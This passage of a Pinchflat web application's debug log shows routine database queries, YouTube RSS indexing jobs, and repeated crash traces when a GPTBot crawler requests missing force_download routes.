t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:39:38.478 [info] Sent 200 in 11ms 16:39:57.183 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:00.745 [info] {"source":"oban","duration":101,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:40:11.295 [info] GET /sources/1/media/2/force_download 16:40:11.296 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1341.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:40:11.296 [debug] QUERY OK source="settings" db=0.0ms idle=1341.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:40:11.296 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:40:11.296 [error] #PID<0.10986.0> running PinchflatWeb.Endpoint (connection #PID<0.10985.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/1/media/2/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/2/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10985.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/2/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 40038}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10986.0>, params: %{}, path_info: ["sources", "1", "media", "2", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/1/media/2"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/1/media/2/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVHSjDkvVxWGx0AA_9B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10985.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/2/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 40038}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/2/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10985.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/2/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 40038}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10986.0>, params: %{}, path_info: ["sources", "1", "media", "2", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, (truncated) 16:40:27.184 [info] {"source":"oban","duration":560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:57.185 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:59.413 [info] {"args":{"id":2},"id":709,"meta":{},"system_time":1784911259413627497,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:40:59.415 [debug] QUERY OK source="sources" db=1.6ms idle=458.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:40:59.415 [debug] QUERY OK source="tasks" db=1.7ms idle=458.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:40:59.418 [debug] QUERY OK source="settings" db=2.4ms idle=460.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:40:59.418 [debug] QUERY OK source="sources" db=2.1ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:40:59.418 [debug] QUERY OK source="media_profiles" db=0.0ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:40:59.418 [debug] QUERY OK source="settings" db=0.0ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:40:59.418 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 16:41:00.006 [debug] Media ids fetched from RSS: ["9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 16:41:00.006 [debug] QUERY OK source="media_items" db=0.1ms idle=590.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 16:41:00.007 [debug] QUERY OK source="media_items" db=0.2ms idle=588.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 16:41:00.007 [debug] QUERY OK source="tasks" db=0.0ms idle=589.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [712, 2, ~U[2026-07-24 16:41:00Z], ~U[2026-07-24 16:41:00Z]] 16:41:00.007 [info] {"args":{"id":2},"id":709,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":594069,"event":"job:stop","queue_time":976404,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:41:00.008 [debug] QUERY OK source="tasks" db=0.1ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:41:00.747 [info] {"source":"oban","duration":390,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:41:09.423 [info] {"args":{"id":1},"id":710,"meta":{},"system_time":1784911269423334574,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:41:09.423 [debug] QUERY OK source="sources" db=0.1ms idle=1468.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:41:09.423 [debug] QUERY OK source="tasks" db=0.3ms idle=1468.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:41:09.424 [debug] QUERY OK source="settings" db=0.1ms idle=1007.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:41:09.424 [debug] QUERY OK source="sources" db=0.1ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:41:09.424 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:41:09.424 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:41:09.424 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 16:41:09.625 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 16:41:09.626 [debug] QUERY OK source="media_items" db=0.2ms idle=201.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 16:41:09.628 [debug] QUERY OK source="media_items" db=2.3ms idle=202.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 16:41:09.629 [debug] QUERY OK source="tasks" db=0.0ms idle=204.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [713, 1, ~U[2026-07-24 16:41:09Z], ~U[2026-07-24 16:41:09Z]] 16:41:09.629 [info] {"args":{"id":1},"id":710,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":206151,"event":"job:stop","queue_time":414792,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:41:09.629 [debug] QUERY OK source="tasks" db=0.2ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:41:17.209 [info] GET /sources/1/media/3/force_download 16:41:17.209 [debug] QUERY OK source="settings" db=0.1ms idle=785.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:41:17.209 [debug] QUERY OK source="settings" db=0.0ms idle=254.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:41:17.209 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:41:17.210 [error] #PID<0.11000.0> running PinchflatWeb.Endpoint (connection #PID<0.10999.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/1/media/3/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/3/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10999.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/3/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35036}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.11000.0>, params: %{}, path_info: ["sources", "1", "media", "3", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/1/media/3"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/1/media/3/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVHWYmkWTydlncAAMeD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: 